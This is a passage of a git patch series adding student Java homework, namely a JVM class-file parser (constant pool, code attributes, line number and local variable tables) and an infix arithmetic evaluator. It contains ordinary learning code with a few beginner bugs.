diff --git a/group11/729245768/DataStructure/src/main/coding_170409/jvm/loader/ClassFileLoader.java b/group11/729245768/DataStructure/src/main/coding_170409/jvm/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..d9193d736e
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170409/jvm/loader/ClassFileLoader.java
@@ -0,0 +1,91 @@
+package main.coding_170409.jvm.loader;
+
+import main.coding_170409.jvm.constant.ConstantPool;
+import org.apache.commons.io.IOUtils;
+import org.apache.commons.lang3.StringUtils;
+
+import java.io.*;
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class ClassFileLoader {
+    private List<String> clzPaths = new ArrayList<>();
+    public byte[] readBinaryCode(String className){
+        className = className.replace('.', File.pathSeparatorChar) +".class";
+        for (String path:this.clzPaths){
+            String clzFileName = path + File.separatorChar + className;
+            byte[] codes = loadClassFile(clzFileName);
+            if(codes!=null){
+                return codes;
+            }
+        }
+        return null;
+    }
+
+    public byte[] loadClassFile(String clzFileName){
+        File f = new File(clzFileName);
+        try {
+            return IOUtils.toByteArray(new FileInputStream(f));
+        } catch (IOException e) {
+            e.printStackTrace();
+            return null;
+        }
+    }
+
+    public void addClassPath(String path){
+        if(clzPaths.contains(path)){
+            return;
+        }
+        clzPaths.add(path);
+    }
+
+    public String getClassPath(){
+        return StringUtils.join(this.clzPaths,";");
+    }
+    public ConstantPool loadClass(String className){
+        byte[] codes = this.readBinaryCode(className);
+        ClassFileParse parser = new ClassFileParse();
+        return parser.parse(codes);
+    }
+    public String getClassPath_V1(){
+        StringBuffer sb = new StringBuffer();
+        for(int i=0;i<this.clzPaths.size();i++){
+            sb.append(this.clzPaths.get(i));
+            if(i<this.clzPaths.size()-1){
+                sb.append(";");
+            }
+        }
+        return sb.toString();
+    }
+
+    public byte[] loadClassFile_V1(String clzFileName){
+        BufferedInputStream bis = null;
+        File f = new File(clzFileName);
+        try {
+            bis = new BufferedInputStream(new FileInputStream(f));
+            ByteArrayOutputStream bos = new ByteArrayOutputStream();
+
+            byte[] buffer = new byte[1024];
+            int length = -1;
+            while ((length=bis.read(buffer))!=-1){
+                bos.write(buffer,0,length);
+            }
+            byte[] codes = bos.toByteArray();
+            return codes;
+        }  catch (IOException e) {
+            e.printStackTrace();
+        }finally {
+            if(bis!=null){
+                try {
+                    bis.close();
+                } catch (IOException e) {
+                    e.printStackTrace();
+                }
+            }
+        }
+        return null;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170409/jvm/loader/ClassFileParse.java b/group11/729245768/DataStructure/src/main/coding_170409/jvm/loader/ClassFileParse.java
new file mode 100644
index 0000000000..82002c9942
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170409/jvm/loader/ClassFileParse.java
@@ -0,0 +1,83 @@
+package main.coding_170409.jvm.loader;
+
+import main.coding_170409.jvm.constant.*;
+
+import java.io.UnsupportedEncodingException;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class ClassFileParse {
+    public ConstantPool parse(byte[] codes) {
+
+        ByteCodeIterator iterator = new ByteCodeIterator(codes);
+
+        String magicNumber = iterator.nextU4ToHexString();
+
+        if (!"cafebabe".equals(magicNumber)) {
+            return null;
+        }
+        iterator.nextU2ToInt();
+        iterator.nextU2ToInt();
+        ConstantPool pool = parseConstantPool(iterator);
+        return pool;
+    }
+
+    public ConstantPool parseConstantPool(ByteCodeIterator iterator) {
+        int constantPoolCount = iterator.nextU2ToInt();
+
+        ConstantPool pool = new ConstantPool();
+        pool.addConstantInfo(new NullConstantInfo());
+        for (int i = 1; i <= constantPoolCount - 1; i++) {
+            int tag = iterator.nextU1ToInt();
+            if (tag == 7) {
+                int utf8Index = iterator.nextU2ToInt();
+                ClassInfo classInfo = new ClassInfo(pool);
+                classInfo.setUtf8Index(utf8Index);
+                pool.addConstantInfo(classInfo);
+            } else if (tag == 1) {
+                //UTF-8 String
+                int len = iterator.nextU2ToInt();
+                byte[] data = iterator.getBytes(len);
+                String value = null;
+                try {
+                    value = new String(data, "UTF-8");
+                } catch (UnsupportedEncodingException e) {
+                    e.printStackTrace();
+                }
+                UTF8Info utf8Info = new UTF8Info(pool);
+                utf8Info.setLength(len);
+                utf8Info.setValue(value);
+                pool.addConstantInfo(utf8Info);
+            } else if (tag == 8) {
+                StringInfo info = new StringInfo(pool);
+                info.setIndex(iterator.nextU2ToInt());
+                pool.addConstantInfo(info);
+            } else if (tag == 9) {
+                FieldRefInfo field = new FieldRefInfo(pool);
+                field.setClassInfoIndex(iterator.nextU2ToInt());
+                field.setNameAndTypeIndex(iterator.nextU2ToInt());
+                pool.addConstantInfo(field);
+            } else if (tag == 10) {
+                //MethodRef
+                MethodRefInfo method = new MethodRefInfo(pool);
+                method.setClassInfoIndex(iterator.nextU2ToInt());
+                method.setNameAndTypeIndex(iterator.nextU2ToInt());
+                pool.addConstantInfo(method);
+            } else if (tag == 12) {
+                //Name and Type Info
+                NameAndTypeInfo nameAndTypeInfo = new NameAndTypeInfo(pool);
+                nameAndTypeInfo.setIndexA(iterator.nextU2ToInt());
+                nameAndTypeInfo.setIndexB(iterator.nextU2ToInt());
+                pool.addConstantInfo(nameAndTypeInfo);
+            } else {
+                throw new RuntimeException("the constant pool tag " + tag + " has not implemented");
+            }
+        }
+        System.out.println("Finished reading Constant pool");
+
+        return pool;
+    }
+
+
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170409/jvm/util/Util.java b/group11/729245768/DataStructure/src/main/coding_170409/jvm/util/Util.java
new file mode 100644
index 0000000000..07c2c88285
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170409/jvm/util/Util.java
@@ -0,0 +1,25 @@
+package main.coding_170409.jvm.util;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class Util {
+    public static int byteToInt(byte[] codes) {
+        String s1 = byteToHexString(codes);
+        return Integer.valueOf(s1, 16).intValue();
+    }
+
+    public static String byteToHexString(byte[] codes) {
+        StringBuffer sb = new StringBuffer();
+        for (int i = 0; i < codes.length; i++) {
+            byte b = codes[i];
+            int value = b & 0xFF;
+            String strHex = Integer.toHexString(value);
+            if (strHex.length() < 2) {
+                strHex = "0" + strHex;
+            }
+            sb.append(strHex);
+        }
+        return sb.toString();
+    }
+}

From 83fb1d717db950dc61fe84935df0e382513ef048 Mon Sep 17 00:00:00 2001
From: peter <729245768@qq.com>
Date: Sun, 23 Apr 2017 20:07:03 +0800
Subject: [PATCH 109/262] =?UTF-8?q?jvm=E7=AC=AC=E4=BA=8C=E6=AC=A1=E4=BD=9C?=
 =?UTF-8?q?=E4=B8=9A?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../src/main/coding_170416/InfixExpr.java     |  95 ++++++++++++
 .../coding_170416/jvm/attr/AttributeInfo.java |  21 +++
 .../main/coding_170416/jvm/attr/CodeAttr.java |  93 ++++++++++++
 .../jvm/attr/LineNumberTable.java             |  68 +++++++++
 .../jvm/attr/LocalVariableItem.java           |  52 +++++++
 .../jvm/attr/LocalVariableTable.java          |  50 +++++++
 .../coding_170416/jvm/attr/StackMapTable.java |  23 +++
 .../coding_170416/jvm/clz/AccessFlag.java     |  28 ++++
 .../main/coding_170416/jvm/clz/ClassFile.java |  92 ++++++++++++
 .../coding_170416/jvm/clz/ClassIndex.java     |  25 ++++
 .../coding_170416/jvm/constant/ClassInfo.java |  32 ++++
 .../jvm/constant/ConstantInfo.java            |  33 +++++
 .../jvm/constant/ConstantPool.java            |  26 ++++
 .../jvm/constant/FieldRefInfo.java            |  57 +++++++
 .../jvm/constant/MethodRefInfo.java           |  59 ++++++++
 .../jvm/constant/NameAndTypeInfo.java         |  53 +++++++
 .../jvm/constant/NullConstantInfo.java        |  16 ++
 .../jvm/constant/StringInfo.java              |  31 ++++
 .../coding_170416/jvm/constant/UTF8Info.java  |  40 +++++
 .../main/coding_170416/jvm/field/Field.java   |  44 ++++++
 .../jvm/loader/ByteCodeIterator.java          |  54 +++++++
 .../jvm/loader/ClassFileLoader.java           |  91 ++++++++++++
 .../jvm/loader/ClassFileParse.java            | 140 ++++++++++++++++++
 .../main/coding_170416/jvm/method/Method.java |  83 +++++++++++
 .../src/main/coding_170416/jvm/util/Util.java |  25 ++++
 25 files changed, 1331 insertions(+)
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170416/InfixExpr.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170416/jvm/attr/AttributeInfo.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170416/jvm/attr/CodeAttr.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170416/jvm/attr/LineNumberTable.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170416/jvm/attr/LocalVariableItem.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170416/jvm/attr/LocalVariableTable.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170416/jvm/attr/StackMapTable.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170416/jvm/clz/AccessFlag.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170416/jvm/clz/ClassFile.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170416/jvm/clz/ClassIndex.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170416/jvm/constant/ClassInfo.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170416/jvm/constant/ConstantInfo.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170416/jvm/constant/ConstantPool.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170416/jvm/constant/FieldRefInfo.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170416/jvm/constant/MethodRefInfo.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170416/jvm/constant/NameAndTypeInfo.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170416/jvm/constant/NullConstantInfo.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170416/jvm/constant/StringInfo.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170416/jvm/constant/UTF8Info.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170416/jvm/field/Field.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170416/jvm/loader/ByteCodeIterator.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170416/jvm/loader/ClassFileLoader.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170416/jvm/loader/ClassFileParse.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170416/jvm/method/Method.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170416/jvm/util/Util.java

diff --git a/group11/729245768/DataStructure/src/main/coding_170416/InfixExpr.java b/group11/729245768/DataStructure/src/main/coding_170416/InfixExpr.java
new file mode 100644
index 0000000000..0e33c27527
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170416/InfixExpr.java
@@ -0,0 +1,95 @@
+package main.coding_170416;
+
+import java.util.Stack;
+
+/**
+ * Created by peter on 2017/4/23.
+ */
+public class InfixExpr {
+    String expr = null;
+
+    public InfixExpr(String expr) {
+        this.expr = expr;
+    }
+
+    public float evalute() {
+        Stack<Float> operator = new Stack<>();//存储操作数
+        Stack<Character> opeCharacter = new Stack<>();//存储运算符
+        StringBuffer sb = new StringBuffer("");//存储获取到的操作数
+        int index = 0;//
+        while (index < expr.length()) {
+
+            Character ch = expr.charAt(index);
+            if (!Character.isDigit(ch) && opeCharacter.size() == 0) {
+                opeCharacter.push(ch);
+                operator.push(Float.parseFloat(sb.toString()));
+                sb = new StringBuffer("");
+                index++;
+                continue;
+            }
+            switch (ch) {
+                case '+':
+                case '-':
+                    operator.push(Float.parseFloat(sb.toString()));
+                    sb = new StringBuffer("");
+                    Character top = opeCharacter.pop();
+                    float op2 = operator.pop();
+                    float op1 = operator.pop();
+                    switch (top) {
+                        case '+':
+                            operator.push(op1 + op2);
+                            break;
+                        case '-':
+                            operator.push(op1 - op2);
+                            break;
+                        case '*':
+                            operator.push(op1 * op2);
+                            break;
+                        case '/':
+                            operator.push(op1 / op2);
+                            break;
+                    }
+                    opeCharacter.push(ch);
+                    break;
+                case '*':
+                case '/':
+                    operator.push(Float.parseFloat(sb.toString()));
+                    sb = new StringBuffer("");
+                    Character top1 = opeCharacter.peek();
+                    if (top1 == '+' || top1 == '-') {
+                        opeCharacter.push(ch);
+                    } else {
+                        opeCharacter.pop();
+                        float ope2 = operator.pop();
+                        float ope1 = operator.pop();
+                        if (top1 == '*') {
+                            operator.push(ope1 * ope2);
+                        } else {
+                            operator.push(ope1 / ope2);
+                        }
+                        opeCharacter.push(ch);
+                    }
+                    break;
+                default:
+                    sb.append(ch);
+            }
+            index++;
+            if (index == expr.length()) {
+                operator.push(Float.parseFloat(sb.toString()));
+            }
+        }
+        //计算运算符栈剩余的操作符
+        while (opeCharacter.size()>0){
+            float last2 = operator.pop();
+            float last1 = operator.pop();
+            switch (opeCharacter.pop()){
+                case '+': operator.push(last1 + last2) ;break;
+                case '-': operator.push(last1 - last2);break;
+                case '*': operator.push(last1 * last2);break;
+                case '/': operator.push(last1/last2);
+            }
+        }
+
+        return operator.pop();
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170416/jvm/attr/AttributeInfo.java b/group11/729245768/DataStructure/src/main/coding_170416/jvm/attr/AttributeInfo.java
new file mode 100644
index 0000000000..199df4ccc9
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170416/jvm/attr/AttributeInfo.java
@@ -0,0 +1,21 @@
+package main.coding_170416.jvm.attr;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public abstract  class AttributeInfo {
+    public static final String CODE = "Code";
+    public static final String CONST_VALUE = "ConstantValue";
+    public static final String EXCPTIONS = "Exceptions";
+    public static final String LINE_NUM_TABLE = "LineNumberTable";
+    public static final String LOCAL_VAR_TABLE = "LocalVaribleTable";
+    public static final String STACK_MAP_TABLE = "StackMapTable";
+
+    int attrNameIndex;
+    int attrLen;
+
+    public AttributeInfo(int attrNameIndex,int attrLen){
+        this.attrNameIndex = attrNameIndex;
+        this.attrLen = attrLen;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170416/jvm/attr/CodeAttr.java b/group11/729245768/DataStructure/src/main/coding_170416/jvm/attr/CodeAttr.java
new file mode 100644
index 0000000000..4a17d9cc2b
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170416/jvm/attr/CodeAttr.java
@@ -0,0 +1,93 @@
+package main.coding_170416.jvm.attr;
+
+import main.coding_170416.jvm.clz.ClassFile;
+import main.coding_170416.jvm.constant.ConstantPool;
+import main.coding_170416.jvm.loader.ByteCodeIterator;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class CodeAttr extends AttributeInfo {
+    private int maxStack;
+    private int maxLocals;
+    private int codeLen;
+    private String code;
+
+    public String getCode() {
+        return code;
+    }
+
+    private LineNumberTable lineNumberTable;
+    private LocalVariableTable localVariableTable;
+    private StackMapTable stackMapTable;
+
+    public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen, String code) {
+        super(attrNameIndex, attrLen);
+        this.maxStack = maxStack;
+        this.maxLocals = maxLocals;
+        this.codeLen = codeLen;
+        this.code = code;
+    }
+
+    public void setLineNumberTable(LineNumberTable table) {
+        this.lineNumberTable = table;
+    }
+
+    public void setLocalVariableTable(LocalVariableTable table) {
+        this.localVariableTable = table;
+    }
+
+    public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iterator) {
+        int attrNameIndex = iterator.nextU2ToInt();
+        int attrLen = iterator.nextU4ToInt();
+        int maxStack = iterator.nextU2ToInt();
+        int maxLocals = iterator.nextU2ToInt();
+        int codeLen = iterator.nextU4ToInt();
+
+        String code = iterator.nextUxToHexString(codeLen);
+
+        System.out.println(code);
+
+        CodeAttr codeAttr = new CodeAttr(attrNameIndex, attrLen, maxStack, maxLocals, codeLen, code);
+        int exceptionTableLen = iterator.nextU2ToInt();
+        //deal with exception
+        if (exceptionTableLen > 0) {
+            String exceptionTable = iterator.nextUxToHexString(exceptionTableLen);
+            System.out.println("Encountered exception table:just ignore " + exceptionTable);
+        }
+        int subAttrCount = iterator.nextU2ToInt();
+        for (int i = 1; i < subAttrCount; i++) {
+            int subAttrIndex = iterator.nextU2ToInt();
+            String subAttrName = clzFile.getConstantPool().getUTF8String(subAttrIndex);
+
+            iterator.back(2);
+
+            if (AttributeInfo.LINE_NUM_TABLE.equalsIgnoreCase(subAttrName)) {
+                LineNumberTable t = LineNumberTable.parse(iterator);
+                codeAttr.setLineNumberTable(t);
+            } else if (AttributeInfo.LOCAL_VAR_TABLE.equalsIgnoreCase(subAttrName)) {
+                LocalVariableTable t = LocalVariableTable.parse(iterator);
+                codeAttr.setLocalVariableTable(t);
+            } else if (AttributeInfo.STACK_MAP_TABLE.equalsIgnoreCase(subAttrName)) {
+                StackMapTable t = StackMapTable.parse(iterator);
+                codeAttr.setStackMapTable(t);
+            } else {
+                throw new RuntimeException("Need code to process " + subAttrName);
+            }
+        }
+        return codeAttr;
+    }
+
+    public String toString(ConstantPool pool) {
+        StringBuilder sb = new StringBuilder();
+        sb.append("Code:").append(code).append("\n");
+        sb.append("\n");
+        sb.append(this.lineNumberTable.toString());
+        sb.append(this.localVariableTable.toString(pool));
+        return sb.toString();
+    }
+
+    public void setStackMapTable(StackMapTable stackMapTable) {
+        this.stackMapTable = stackMapTable;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170416/jvm/attr/LineNumberTable.java b/group11/729245768/DataStructure/src/main/coding_170416/jvm/attr/LineNumberTable.java
new file mode 100644
index 0000000000..181c88cccc
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170416/jvm/attr/LineNumberTable.java
@@ -0,0 +1,68 @@
+package main.coding_170416.jvm.attr;
+
+import main.coding_170416.jvm.loader.ByteCodeIterator;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class LineNumberTable extends AttributeInfo {
+    List<LineNumberItem> items = new ArrayList<>();
+
+    private static class LineNumberItem {
+        int startPC;
+        int lineNum;
+
+        public int getStartPC() {
+            return startPC;
+        }
+
+        public void setStartPC(int startPC) {
+            this.startPC = startPC;
+        }
+
+        public int getLineNum() {
+            return lineNum;
+        }
+
+        public void setLineNum(int lineNum) {
+            this.lineNum = lineNum;
+        }
+    }
+
+    public void addLineNumberItem(LineNumberItem item) {
+        this.items.add(item);
+    }
+
+    public LineNumberTable(int attrNameIndex, int attrLen) {
+        super(attrNameIndex, attrLen);
+    }
+
+    public static LineNumberTable parse(ByteCodeIterator iterator) {
+        int index = iterator.nextU2ToInt();
+        int len = iterator.nextU4ToInt();
+
+        LineNumberTable table = new LineNumberTable(index, len);
+        for (int i = 1; i < len; i++) {
+            LineNumberItem item = new LineNumberItem();
+            item.setStartPC(iterator.nextU2ToInt());
+            item.setLineNum(iterator.nextU2ToInt());
+            table.addLineNumberItem(item);
+        }
+        return table;
+    }
+
+    @Override
+    public String toString() {
+        StringBuilder sb = new StringBuilder();
+        sb.append("Line Number Table:\n");
+        for(LineNumberItem item:items){
+            sb.append("startPC:"+item.getStartPC()).append(",");
+            sb.append("LineNum:"+item.getLineNum()).append("\n");
+        }
+        sb.append("\n");
+        return  sb.toString();
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170416/jvm/attr/LocalVariableItem.java b/group11/729245768/DataStructure/src/main/coding_170416/jvm/attr/LocalVariableItem.java
new file mode 100644
index 0000000000..5db0ff8ddb
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170416/jvm/attr/LocalVariableItem.java
@@ -0,0 +1,52 @@
+package main.coding_170416.jvm.attr;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class LocalVariableItem {
+    private int startPC;
+    private int length;
+    private int nameIndex;
+    private int descIndex;
+    private int index;
+
+    public int getStartPC() {
+        return startPC;
+    }
+
+    public void setStartPC(int startPC) {
+        this.startPC = startPC;
+    }
+
+    public int getLength() {
+        return length;
+    }
+
+    public void setLength(int length) {
+        this.length = length;
+    }
+
+    public int getNameIndex() {
+        return nameIndex;
+    }
+
+    public void setNameIndex(int nameIndex) {
+        this.nameIndex = nameIndex;
+    }
+
+    public int getDescIndex() {
+        return descIndex;
+    }
+
+    public void setDescIndex(int descIndex) {
+        this.descIndex = descIndex;
+    }
+
+    public int getIndex() {
+        return index;
+    }
+
+    public void setIndex(int index) {
+        this.index = index;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170416/jvm/attr/LocalVariableTable.java b/group11/729245768/DataStructure/src/main/coding_170416/jvm/attr/LocalVariableTable.java
new file mode 100644
index 0000000000..3963253cd1
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170416/jvm/attr/LocalVariableTable.java
@@ -0,0 +1,50 @@
+package main.coding_170416.jvm.attr;
+
+import main.coding_170416.jvm.constant.ConstantPool;
+import main.coding_170416.jvm.loader.ByteCodeIterator;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class LocalVariableTable extends AttributeInfo {
+    List<LocalVariableItem> items = new ArrayList<>();
+    public LocalVariableTable(int attrNameIndex,int attrLen){
+        super(attrNameIndex,attrLen);
+    }
+    public void addLocalVariableItem(LocalVariableItem item){
+        this.items.add(item);
+    }
+    public static LocalVariableTable parse(ByteCodeIterator iterator){
+        int index = iterator.nextU1ToInt();
+        int len = iterator.nextU4ToInt();
+        LocalVariableTable table = new LocalVariableTable(index,len);
+
+        int itemLen = iterator.nextU2ToInt();
+        for(int i=0;i<=itemLen;i++){
+            LocalVariableItem item =new LocalVariableItem();
+            item.setStartPC(iterator.nextU2ToInt());
+            item.setLength(iterator.nextU2ToInt());
+            item.setNameIndex(iterator.nextU2ToInt());
+            item.setDescIndex(iterator.nextU2ToInt());
+            item.setIndex(iterator.nextU2ToInt());
+            table.addLocalVariableItem(item);
+        }
+        return table;
+    }
+
+    public String toString(ConstantPool pool){
+        StringBuffer buffer = new StringBuffer();
+        buffer.append("Local variable table:\n");
+        for(LocalVariableItem item:items){
+            buffer.append("startPC:"+item.getStartPC()).append(",");
+            buffer.append("name:"+pool.getUTF8String(item.getNameIndex())).append(",");
+            buffer.append("desc:"+pool.getUTF8String(item.getDescIndex())).append(",");
+            buffer.append("slotIndex:"+ item.getIndex()).append("\n");
+        }
+        buffer.append("\n");
+        return buffer.toString();
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170416/jvm/attr/StackMapTable.java b/group11/729245768/DataStructure/src/main/coding_170416/jvm/attr/StackMapTable.java
new file mode 100644
index 0000000000..4be892690b
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170416/jvm/attr/StackMapTable.java
@@ -0,0 +1,23 @@
+package main.coding_170416.jvm.attr;
+
+import main.coding_170416.jvm.loader.ByteCodeIterator;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class StackMapTable extends AttributeInfo {
+    private String originalCode;
+
+    public StackMapTable(int attrNameIndex,int attrLen){
+        super(attrNameIndex,attrLen);
+    }
+    public static StackMapTable parse(ByteCodeIterator iterator){
+        int index = iterator.nextU2ToInt();
+        int len = iterator.nextU4ToInt();
+        StackMapTable t = new StackMapTable(index,len);
+        return t;
+    }
+    private void setOriginalCode(String code){
+        this.originalCode =code;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170416/jvm/clz/AccessFlag.java b/group11/729245768/DataStructure/src/main/coding_170416/jvm/clz/AccessFlag.java
new file mode 100644
index 0000000000..72a0931e04
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170416/jvm/clz/AccessFlag.java
@@ -0,0 +1,28 @@
+package main.coding_170416.jvm.clz;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class AccessFlag {
+    private int flagValue;
+
+    public AccessFlag(int value) {
+        this.flagValue = value;
+    }
+
+    public int getFlagValue() {
+        return flagValue;
+    }
+
+    public void setFlagValue(int flag) {
+        this.flagValue = flag;
+    }
+
+    public boolean isPublicClass() {
+        return (this.flagValue & 0x0001) != 0;
+    }
+
+    public boolean isFinalClass() {
+        return (this.flagValue & 0x0010) != 0;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170416/jvm/clz/ClassFile.java b/group11/729245768/DataStructure/src/main/coding_170416/jvm/clz/ClassFile.java
new file mode 100644
index 0000000000..cb27ba2c2d
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170416/jvm/clz/ClassFile.java
@@ -0,0 +1,92 @@
+package main.coding_170416.jvm.clz;
+
+import main.coding_170416.jvm.constant.ClassInfo;
+import main.coding_170416.jvm.constant.ConstantPool;
+import main.coding_170416.jvm.field.Field;
+import main.coding_170416.jvm.method.Method;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class ClassFile {
+    private int minorVersion;
+    private int majorVersion;
+
+    private ConstantPool pool;
+    private AccessFlag accessFlag;
+    private ClassIndex clzIndex;
+    private List<Field> fields = new ArrayList<>();
+    private List<Method> methods = new ArrayList<>();
+
+    public ClassIndex getClzIndex(){
+        return clzIndex;
+    }
+
+    public AccessFlag getAccessFlag(){
+        return accessFlag;
+    }
+
+    public void setAccessFlag(AccessFlag accessFlag){
+        this.accessFlag = accessFlag;
+    }
+    public ConstantPool getConstantPool(){
+        return pool;
+    }
+
+    public int getMinorVersion(){
+        return minorVersion;
+    }
+
+    public void setMinorVersion(int minorVersion){
+        this.minorVersion = minorVersion;
+    }
+    public int getMajorVersion(){
+        return majorVersion;
+    }
+    public void setMajorVersion(int majorVersion){
+        this.majorVersion = majorVersion;
+    }
+
+    public void setConstantPool(ConstantPool pool){
+        this.pool = pool;
+    }
+    public void setClassIndex(ClassIndex clzIndex){
+        this.clzIndex = clzIndex;
+    }
+
+    public void addField(Field f){
+        this.fields.add(f);
+    }
+    public List<Field> getFields(){
+        return this.fields;
+    }
+
+    public void addMethod(Method m){
+        this.methods.add(m);
+    }
+
+    public List<Method> getMethods(){
+        return methods;
+    }
+
+    public void print(){
+        if(this.accessFlag.isPublicClass()){
+            System.out.println("Access flag : public");
+        }
+        System.out.println("Class Name:"+getClassName());
+        System.out.println("Super Class Name:"+getSuperClassName());
+    }
+    public String getClassName(){
+        int thisClassIndex = this.clzIndex.getThisClassIndex();
+        ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
+        return thisClass.getClassName();
+    }
+
+    public String getSuperClassName(){
+        ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.getClzIndex().getSuperClassIndex());
+        return superClass.getClassName();
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170416/jvm/clz/ClassIndex.java b/group11/729245768/DataStructure/src/main/coding_170416/jvm/clz/ClassIndex.java
new file mode 100644
index 0000000000..de3497ef86
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170416/jvm/clz/ClassIndex.java
@@ -0,0 +1,25 @@
+package main.coding_170416.jvm.clz;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class ClassIndex {
+    private int thisClassIndex;
+    private int superClassIndex;
+
+    public void setThisClassIndex(int thisClassIndex) {
+        this.thisClassIndex = thisClassIndex;
+    }
+
+    public void setSuperClassIndex(int superClassIndex) {
+        this.superClassIndex = superClassIndex;
+    }
+
+    public int getThisClassIndex() {
+        return thisClassIndex;
+    }
+
+    public int getSuperClassIndex() {
+        return superClassIndex;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170416/jvm/constant/ClassInfo.java b/group11/729245768/DataStructure/src/main/coding_170416/jvm/constant/ClassInfo.java
new file mode 100644
index 0000000000..b60723fc10
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170416/jvm/constant/ClassInfo.java
@@ -0,0 +1,32 @@
+package main.coding_170416.jvm.constant;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class ClassInfo extends ConstantInfo {
+    private int type = ConstantInfo.CLASS_INFO;
+    private int utf8Index;
+
+    public ClassInfo(ConstantPool pool){
+        super(pool);
+    }
+
+    public int getUtf8Index(){
+        return utf8Index;
+    }
+
+    public void setUtf8Index(int utf8Index){
+        this.utf8Index = utf8Index;
+    }
+
+    @Override
+    public int getType() {
+        return type;
+    }
+
+    public String getClassName(){
+        int index = getUtf8Index();
+        UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
+        return utf8Info.getValue();
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170416/jvm/constant/ConstantInfo.java b/group11/729245768/DataStructure/src/main/coding_170416/jvm/constant/ConstantInfo.java
new file mode 100644
index 0000000000..699ee83f2f
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170416/jvm/constant/ConstantInfo.java
@@ -0,0 +1,33 @@
+package main.coding_170416.jvm.constant;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public abstract class ConstantInfo {
+    public static final int UTF8_INFO = 1;
+    public static final int FLOAT_INFO = 4;
+    public static final int CLASS_INFO = 7;
+    public static final int STRING_INFO = 8;
+    public static final int FIELD_INFO = 9;
+    public static final int METHOD_INFO = 10;
+    public static final int NAME_AND_TYPE_INFO = 12;
+    protected ConstantPool constantPool;
+
+    public ConstantInfo() {
+
+    }
+
+    public ConstantInfo(ConstantPool pool) {
+        this.constantPool = pool;
+    }
+
+    public abstract int getType();
+
+    public ConstantPool getConstantPool() {
+        return constantPool;
+    }
+
+    public ConstantInfo getConstantInfo(int index) {
+        return this.constantPool.getConstantInfo(index);
